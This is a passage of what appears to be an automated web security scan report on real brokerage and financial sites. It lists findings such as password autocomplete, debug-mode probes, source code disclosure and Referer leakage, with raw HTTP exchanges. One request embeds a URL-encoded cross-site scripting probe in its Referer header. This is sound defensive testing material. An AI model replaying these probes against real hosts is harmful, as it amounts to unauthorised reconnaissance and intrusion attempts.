<form id="loginform" name="loginform" method="post" action="../servlet/authenticate?factor=78817327&skin=ibg-dark" onsubmit="return (checkSubmit() && submit_xyz_form('loginform','user_name','password','ERRORMSG'))">
                           <input type="hidden" name="random" value="null" />
...[SNIP]...
<td align="left">


                                                                                                                                                                                           <input type="password" id="password" name="password" value="" maxlength="8" size="30" onfocus="enableSubmit()" onclick="forceFocusPassword()" onblur="completeAuthentication('password','ERRORMSG');" />
                                       </td>
...[SNIP]...

11.4. http://webstation.barchart.com/eflogin.php previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://webstation.barchart.com
Path:	/eflogin.php

Issue detail

The page contains a form with the following action URL:

http://webstation.barchart.com/eflogin.php

The form contains the following password field with autocomplete enabled:

txtPassword

Request

Response

11.5. https://www.barchart.com/register/realtime/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://www.barchart.com
Path:	/register/realtime/

Issue detail

The page contains a form with the following action URL:

https://www.barchart.com/register/realtime/?page=step2

The form contains the following password fields with autocomplete enabled:

pass1
pass2

Request

GET /register/realtime/?ID=EF HTTP/1.1
Host: www.barchart.com
Connection: keep-alive
Referer: http://webstation.barchart.com/eflogin.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:38:42 GMT
Server: Apache/2.2.12 (Ubuntu)
X-Powered-By: PHP/5.2.10-2ubuntu6.10
Vary: Accept-Encoding
Content-Length: 31699
Content-Type: text/html; charset=UTF-8
Via: 1.1 www.barchart.com (Apache/2.2.9)
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Language: en

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
</form>

<form action="?page=step2" method="post" id="frmMain">
<input type="hidden" name="ID" value="EF" />
...[SNIP]...
<td><input type="password" name="pass1" size="35" value="" maxlength="8" /></td>
...[SNIP]...
<td><input type="password" name="pass2" size="35" value="" maxlength="8" /></td>
...[SNIP]...

11.6. http://www.facebook.com/connect/prompt_feed.php previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/connect/prompt_feed.php

Issue detail

The page contains a form with the following action URL:

https://www.facebook.com/login.php?login_attempt=1&display=popup

The form contains the following password field with autocomplete enabled:

pass

Request

GET /connect/prompt_feed.php HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
Pragma: no-cache
X-UA-Compatible: IE=edge
X-XSS-Protection: 0
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.54.235.44
Connection: close
Date: Thu, 08 Sep 2011 19:46:43 GMT
Content-Length: 12874

<!DOCTYPE html><html lang="en" id="facebook" class="no_js">
<head><meta charset="utf-8" /><script>CavalryLogger=false;window._script_path = "\/connect\/prompt_feed.php";window._EagleEyeSeed="r3Hn";</s
...[SNIP]...
<div class="login_form_container"><form method="POST" action="https://www.facebook.com/login.php?login_attempt=1&display=popup" id="login_form" onsubmit="return Event.__inlineSubmit(this,event)"><input type="hidden" name="charset_test" value="€,´,...,..,...,..,.." />
...[SNIP]...
</label><input type="password" class="inputpassword" id="pass" name="pass" value="" /></div>
...[SNIP]...

11.7. http://www.facebook.com/dialog/feed previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/dialog/feed

Issue detail

The page contains a form with the following action URL:

https://www.facebook.com/login.php?login_attempt=1

The form contains the following password field with autocomplete enabled:

pass

Request

GET /dialog/feed HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p"
Pragma: no-cache
X-UA-Compatible: IE=edge
X-XSS-Protection: 0
Set-Cookie: locale=en_US; expires=Thu, 15-Sep-2011 19:46:43 GMT; path=/; domain=.facebook.com
Set-Cookie: reg_fb_ref=http%3A%2F%2Fwww.facebook.com%2Fdialog%2Ffeed; path=/; domain=.facebook.com
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.54.238.47
Connection: close
Date: Thu, 08 Sep 2011 19:46:43 GMT
Content-Length: 15182

<!DOCTYPE html><html lang="en" id="facebook" class="no_js">
<head><meta charset="utf-8" /><script>CavalryLogger=false;window._script_path = "\/dialog\/feed";window._EagleEyeSeed="rM4U";</script><noscr
...[SNIP]...
<div class="menu_login_container"><form method="POST" action="https://www.facebook.com/login.php?login_attempt=1" id="login_form" onsubmit="return Event.__inlineSubmit(this,event)"><input type="hidden" name="charset_test" value="€,´,...,..,...,..,.." />
...[SNIP]...
<td><input type="password" class="inputtext" name="pass" id="pass" tabindex="2" /></td>
...[SNIP]...

11.8. http://www.futurestrading.com/log-in.html previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.futurestrading.com
Path:	/log-in.html

Issue detail

The page contains a form with the following action URL:

http://www.futurestrading.com/log-in.html

The form contains the following password field with autocomplete enabled:

passwd

Request

Response

11.9. https://www.pfgboss.com/Default.aspx previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://www.pfgboss.com
Path:	/Default.aspx

Issue detail

The page contains a form with the following action URL:

https://www.pfgboss.com/Default.aspx

The form contains the following password field with autocomplete enabled:

dnn$ctr391$Login$Login_DNN$txtPassword

Request

GET /Default.aspx HTTP/1.1
Host: www.pfgboss.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Thu, 08 Sep 2011 19:47:44 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-Snapsis-PageBlaster: v:2.2.4;c:m;x:+;r:+
Set-Cookie: DotNetNukeAnonymous=ccf6be08-57ee-40a8-b475-8d38a127586f; expires=Thu, 08-Sep-2011 20:07:44 GMT; path=/; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Content-Length: 18118

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html lang="en-US">
<head id="Head"><meta id="MetaCopyright" name="COPYRIGHT" content="Copyright 2010 by PFGBEST" /><meta id="MetaAuth
...[SNIP]...
</noscript>
<form name="Form" method="post" action="/Default.aspx" id="Form" enctype="multipart/form-data" style="height: 100%;">
<div>
...[SNIP]...
<td align="left" valign="middle">
<input name="dnn$ctr391$Login$Login_DNN$txtPassword" type="password" size="9" id="dnn_ctr391_Login_Login_DNN_txtPassword" class="NormalTextBox" value="" style="width:80px;" />
<input type="submit" name="dnn$ctr391$Login$Login_DNN$cmdLogin" value="Login" onclick="javascript:WebForm_DoPostBackWithOptions(new WebForm_PostBackOptions("dnn$ctr391$Login$Login_DNN$cmdL
...[SNIP]...

11.10. https://www.secureclient5.ranweb.com/login/ranweb.asp previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://www.secureclient5.ranweb.com
Path:	/login/ranweb.asp

Issue detail

The page contains a form with the following action URL:

https://www.secureclient5.ranweb.com/login/ranWeb.asp

The form contains the following password field with autocomplete enabled:

Password

Request

Response

12. Source code disclosure previous next
There are 2 instances of this issue:

https://account.optionsxpress.com/OpenAccount/Scripts/napvalidate.js
http://www.interactivebrokers.com/en/p.php

Issue background

Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.

Issue remediation

Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.

12.1. https://account.optionsxpress.com/OpenAccount/Scripts/napvalidate.js previous next

Summary

Severity:	Low
Confidence:	Tentative
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/Scripts/napvalidate.js

Issue detail

The application appears to disclose some server-side source code written in ASP.

Request

GET /OpenAccount/Scripts/napvalidate.js HTTP/1.1
Host: account.optionsxpress.com
Connection: keep-alive
Referer: https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TLTSID=AF390C804BE14C3A1579AEAAAD65A123; mbox=check#true#1315527980|session#1315527919598-875378#1315529780|PC#1315527919598-875378.19#1316737521; s_cc=true; s_sq=%5B%5BB%5D%5D; s_vi=[CS]v1|27348B3F85159F3A-600001768000142C[CE]; s_ev23=%5B%5B%27gsus23305007%27%2C%271315527951277%27%5D%5D; s_campaign=gsus23305007; TLTHID=758690FA4AB663400EE3B482D991146F

Response

HTTP/1.1 200 OK
Content-Length: 154727
Content-Type: application/x-javascript
Content-Location: http://account.optionsxpress.com/OpenAccount/Scripts/napvalidate.js
Last-Modified: Thu, 07 Apr 2011 17:11:23 GMT
Accept-Ranges: bytes
ETag: "802f1d246f5cb1:e6d"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: TLTHID=F2BD332740233A1C900CFCA28983D80A; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:20 GMT
Vary: Accept-Encoding
Connection: Keep-Alive

/*******************************************************************************************************************
SB 08/12/2010
******************************************************************
...[SNIP]...
*******************************************/

function ValidateTradeFut(bOnBlur,prefix)
{
var bValidTradeFutNotEmpty = true;
var bValidTradeFut = true;
//var futures = "<%=futures %>";
var type = prefix;
if (bOnBlur == "false" || (bOnBlur == "true" && $.trim($('#span' + type + 'FutYearsError').html()) != "")) {
//if (futures == "1") {
if
...[SNIP]...

12.2. http://www.interactivebrokers.com/en/p.php previous next

Summary

Severity:	Low
Confidence:	Tentative
Host:	http://www.interactivebrokers.com
Path:	/en/p.php

Issue detail

The application appears to disclose some server-side source code written in ASP.

Request

GET /en/p.php?f=individualAccounts HTTP/1.1
Host: www.interactivebrokers.com
Proxy-Connection: keep-alive
Referer: http://www.interactivebrokers.com/futures/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ib=googlead; web=1059282

Response

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 19:37:34 GMT
Server: Apache
Content-Length: 54884
Connection: close
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
<title>Individu
...[SNIP]...
</option>
<%--option value="ft4">Korea</option --%>
<option value="ft5">
...[SNIP]...

13. ASP.NET debugging enabled previous next
There are 6 instances of this issue:

https://account.optionsxpress.com/Default.aspx
https://online.optionsxpress.ca/Default.aspx
https://online.optionsxpress.com.sg/Default.aspx
https://online.optionsxpress.eu/Default.aspx
http://www.optionsxpress.com/Default.aspx
http://www.thefinancials.com/Default.aspx

Issue background

ASP.NET allows remote debugging of web applications, if configured to do so. By default, debugging is subject to access control and requires platform-level authentication.

If an attacker can successfully start a remote debugging session, this is likely to disclose sensitive information about the web application and supporting infrastructure which may be valuable in formulating targeted attacks against the system.

Issue remediation

To disable debugging, open the Web.config file for the application, and find the <compilation> element within the <system.web> section. Set the debug attribute to "false". Note that it is also possible to enable debugging for all applications within the Machine.config file. You should confirm that debug attribute in the <compilation> element has not been set to "true" within the Machine.config file also.

It is strongly recommended that you refer to your platform's documentation relating to this issue, and do not rely solely on the above remediation.

13.1. https://account.optionsxpress.com/Default.aspx previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://account.optionsxpress.com
Path:	/Default.aspx

Issue detail

ASP.NET debugging is enabled on the server. The user context used to scan the application does not appear to be permitted to perform debugging, so this is not an immediately exploitable issue. However, if you were able to obtain or guess appropriate platform-level credentials, you may be able to perform debugging.

Request

DEBUG /Default.aspx HTTP/1.0
Host: account.optionsxpress.com
Command: start-debug

Response

HTTP/1.1 401 Unauthorized
Cache-Control: private
Content-Length: 39
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=D35C1AA64C82C74B9FA784BC4BE70D56; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:25:22 GMT
Connection: close

Debug access denied to '/Default.aspx'.

13.2. https://online.optionsxpress.ca/Default.aspx previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://online.optionsxpress.ca
Path:	/Default.aspx

Issue detail

Request

DEBUG /Default.aspx HTTP/1.0
Host: online.optionsxpress.ca
Command: start-debug

Response

HTTP/1.1 401 Unauthorized
Connection: close
Date: Thu, 08 Sep 2011 19:47:19 GMT
Server: Microsoft-IIS/6.0
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
P3P: CP="CAO PSA OUR"
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 39

Debug access denied to '/Default.aspx'.

13.3. https://online.optionsxpress.com.sg/Default.aspx previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://online.optionsxpress.com.sg
Path:	/Default.aspx

Issue detail

Request

DEBUG /Default.aspx HTTP/1.0
Host: online.optionsxpress.com.sg
Command: start-debug

Response

HTTP/1.1 401 Unauthorized
Connection: close
Date: Thu, 08 Sep 2011 19:46:47 GMT
Server: Microsoft-IIS/6.0
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
P3P: CP="CAO PSA OUR"
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 39

Debug access denied to '/Default.aspx'.

13.4. https://online.optionsxpress.eu/Default.aspx previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://online.optionsxpress.eu
Path:	/Default.aspx

Issue detail

Request

DEBUG /Default.aspx HTTP/1.0
Host: online.optionsxpress.eu
Command: start-debug

Response

HTTP/1.1 401 Unauthorized
Connection: close
Date: Thu, 08 Sep 2011 19:47:20 GMT
Server: Microsoft-IIS/6.0
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
P3P: CP="CAO PSA OUR"
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 39

Debug access denied to '/Default.aspx'.

13.5. http://www.optionsxpress.com/Default.aspx previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.optionsxpress.com
Path:	/Default.aspx

Issue detail

Request

DEBUG /Default.aspx HTTP/1.0
Host: www.optionsxpress.com
Command: start-debug

Response

HTTP/1.1 401 Unauthorized
Cache-Control: private
Content-Length: 39
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
WWW-Authenticate: Negotiate
WWW-Authenticate: NTLM
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: TLTHID=DECCA01E45453C6AF8E6F7B0F678C4AE; Path=/; Domain=.optionsxpress.com
Date: Thu, 08 Sep 2011 19:24:39 GMT
Connection: close

Debug access denied to '/Default.aspx'.

13.6. http://www.thefinancials.com/Default.aspx previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.thefinancials.com
Path:	/Default.aspx

Issue detail

Request

DEBUG /Default.aspx HTTP/1.0
Host: www.thefinancials.com
Command: start-debug

Response

HTTP/1.1 401 Unauthorized
Connection: close
Date: Thu, 08 Sep 2011 19:25:09 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 39

Debug access denied to '/Default.aspx'.

14. Referer-dependent response previous next
There are 2 instances of this issue:

http://www.futurestrading.com/templates/system/css/error.css
http://www.viddler.com/player/cc4ac375/

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defences are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.

14.1. http://www.futurestrading.com/templates/system/css/error.css previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.futurestrading.com
Path:	/templates/system/css/error.css

Request 1

GET /templates/system/css/error.css HTTP/1.1
Host: www.futurestrading.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.futurestrading.com/managed-accountsf91b8%3Cscript%3Ealert(document.location)%3C/script%3E8c91014d9af/what-are-managed-futures.html

Response 1

HTTP/1.1 403 Forbidden
Date: Thu, 08 Sep 2011 20:10:36 GMT
Server: Apache mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Content-Length: 503
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /templates/system/css/error.css
on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
<hr>
<address>Apache mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.futurestrading.com Port 80</address>
</body></html>

Request 2

Response 2

HTTP/1.1 200 OK
Date: Thu, 08 Sep 2011 20:10:40 GMT
Server: Apache mod_fcgid/2.3.6 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Last-Modified: Mon, 30 Mar 2009 05:33:14 GMT
ETag: "7630cc0-688-4664f6b361a80"
Accept-Ranges: bytes
Content-Length: 1672
Content-Type: text/css

/**
* CSS Document for offline page
* @version $Id: error.css 10387 2008-06-03 10:59:16Z pasamio $
* @package Joomla
* @copyright Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software and parts of it may contain or be derived from the
* GNU General Public License or other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

/* Start Common Styles */
* {
   font-family: helvetica, arial, sans-serif;
   font-size: 11px;
   color: #5F6565;
}

html {
   height: 100%;
   margin-bottom: 1px;
}

body {
   margin: 0px;
   padding: 0px;
   height: 100%;
   margin-bottom: 1px;
   background: #FFFFFF;
   font-family: helvetica, arial, sans-serif;
   font-weight: normal;
   padding-top: 0px;
   margin-top: 0px;
}

table, td, th, div, pre, blockquote, ul, ol, dl, address,.componentheading,.contentheading,.contentpagetitle,.sectiontableheader,.newsfeedheading {
   font-family: helvetica, arial, sans-serif;
   font-weight: normal;
}

#outline {
   width: 814px;
   margin: 0px;
   padding: 0px;
   padding-top: 60px;
   padding-bottom: 60px;
   background: #FFFFFF;
}
#errorboxoutline {
   width: 600px;
   margin: 0px;
   padding: 0px;
   border: 1px solid #000000;
}
#errorboxheader {
   width: 600px;
   margin: 0px;
   padding: 0px;
   background: #E44249;
   color: #FFFFFF;
   font-weight: bold;
   font-size: 12px;
   line-height: 22px;
   text-align: center;
   border-bottom: 1px solid #000000;
}
#errorboxbody {
   margin: 0px;
   padding: 10px;
   text-align: left;
}
#techinfo {
   margin: 10px;
   padding: 10px;
   text-align: left;
   border: 1px solid #CCCCCC;
   color: #CCCCCC;
}
#techinfo p {
   color: #CCCCCC;
}

14.2. http://www.viddler.com/player/cc4ac375/ previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.viddler.com
Path:	/player/cc4ac375/

Request 1

GET /player/cc4ac375/ HTTP/1.1
Host: www.viddler.com
Proxy-Connection: keep-alive
Referer: http://ibkb.interactivebrokers.com/node/1071
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 1

HTTP/1.1 302 Found
Server: nginx/0.6.32
Date: Thu, 08 Sep 2011 19:54:00 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: keep-alive
Location: http://www.viddler.com/bigPlayerChooser.action?ref=ibkb.interactivebrokers.com&key=cc4ac375
Vary: Accept-Encoding
Content-Length: 351

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://www.viddler.com/bigPlayerChooser.action?ref=ibkb.interactivebrokers.com&key=cc4ac375">here</a>.</p>
<hr>
<address>Apache/2.2.16 Server at www.viddler.com Port 80</address>
</body></html>

Request 2

GET /player/cc4ac375/ HTTP/1.1
Host: www.viddler.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response 2

HTTP/1.1 302 Found
Server: nginx/0.6.32
Date: Thu, 08 Sep 2011 19:54:20 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: keep-alive
Location: http://www.viddler.com/bigPlayerChooser.action?ref=&key=cc4ac375
Vary: Accept-Encoding
Content-Length: 324

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://www.viddler.com/bigPlayerChooser.action?ref=&key=cc4ac375">here</a>.</p>
<hr>
<address>Apache/2.2.16 Server at www.viddler.com Port 80</address>
</body></html>

15. Cross-domain POST previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.optioneducation.net
Path:	/select/direct_login.asp

Issue detail

The page contains a form which POSTs data to the domain www.optionseducation.org. The form contains the following fields:

quote
image

Issue background

The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.

Request

GET /select/direct_login.asp HTTP/1.1
Host: www.optioneducation.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Thu, 08 Sep 2011 19:45:17 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 10209
Content-Type: text/html
Expires: Thu, 08 Sep 2011 19:44:17 GMT
Cache-control: private

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<title>OIC</titl
...[SNIP]...
<td id="search"><form action="http://www.optionseducation.org/institutional/quotes/default.jsp" method="POST"><input class="quotebox" name="quote" type="text" value="Quote" onBlur="this.className='quotebox'" onFocus="this.className='quotefocus';clearDefault(this)" />
...[SNIP]...

16. Cross-domain Referer leakage previous next
There are 41 instances of this issue:

https://account.optionsxpress.com/OpenAccount/Index
http://cm.g.doubleclick.net/pixel
http://pixel.everesttech.net/2164/cq
http://shared.websol.barchart.com/text/disclaimer.php
http://www.algoadvantage.com/
http://www.efutures.com/
http://www.farrdirect.com/
http://www.globalfutures.com/index.asp
http://www.google.com/search
http://www.interactivebrokers.com/en/accounts/advisors/advisorsMain.php
http://www.interactivebrokers.com/en/accounts/advisors/employeeTrackMain.php
http://www.interactivebrokers.com/en/accounts/brokers/brokerMain.php
http://www.interactivebrokers.com/en/accounts/institutions/fundMain.php
http://www.interactivebrokers.com/en/accounts/institutions/institutionalMain.php
http://www.interactivebrokers.com/en/general/about/awards.php
http://www.interactivebrokers.com/en/general/education/OptPriceAgreement.php
http://www.interactivebrokers.com/en/general/education/comparebrokers.php
http://www.interactivebrokers.com/en/general/education/webinars.php
http://www.interactivebrokers.com/en/general/notifications/ibchanges.php
http://www.interactivebrokers.com/en/p.php
http://www.interactivebrokers.com/en/p.php
http://www.interactivebrokers.com/en/p.php
http://www.interactivebrokers.com/en/p.php
http://www.interactivebrokers.com/en/p.php
http://www.interactivebrokers.com/en/p.php
http://www.interactivebrokers.com/en/p.php
http://www.interactivebrokers.com/en/pagemap/pagemap_education.php
http://www.interactivebrokers.com/en/pagemap/pagemap_newaccounts.php
http://www.interactivebrokers.com/en/site_map.php
http://www.interactivebrokers.com/en/software/downloadPlugin.php
http://www.interactivebrokers.com/en/software/pdfhighlights/PDF-FxTrader.php
http://www.interactivebrokers.com/en/software/pdfhighlights/PDF-TechAnalytics.php
http://www.interactivebrokers.com/en/software/systemStatus.php
http://www.interactivebrokers.com/en/software/twsDisclaimer.php
http://www.interactivebrokers.com/en/software/twsTutorial.php
http://www.interactivebrokers.com/en/trading/pdfhighlights/PDF-Forex.php
http://www.interactivebrokers.com/en/trading/pdfhighlights/PDF-OptionsDesk.php
http://www.invest-store.com/btc/
http://www.invest-store.com/cgi-bin/commoditybooks-bin/home.cgi
http://www.optionsxpress.com/promos/experience_an_options_specialist.aspx
http://www.zumo.com/

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

16.1. https://account.optionsxpress.com/OpenAccount/Index previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://account.optionsxpress.com
Path:	/OpenAccount/Index

Issue detail

The page was loaded from a URL containing a query string:

https://account.optionsxpress.com/OpenAccount/Index?intcmp=lp_sales_futures&firm=OX

The response contains the following links to other domains:

https://ad.doubleclick.net/activity;src=2356891;type=accou783;cat=opena578;ord=1?
https://pixel2164.everesttech.net/2164/t?ev_transid=5292B3C5DF42423B874832285BCDFE38&ev_application_starts_opsxpress=1
https://www.everestjs.net/static/st.js

Request

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 86733
Content-Type: text/html; charset=utf-8
Expires: Thu, 08 Sep 2011 19:25:21 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-AspNetMvc-Version: 1.0
Set-Cookie: TLTHID=8BDB9C054DE94B794A725090608A94A2; Path=/; Domain=.optionsxpress.com
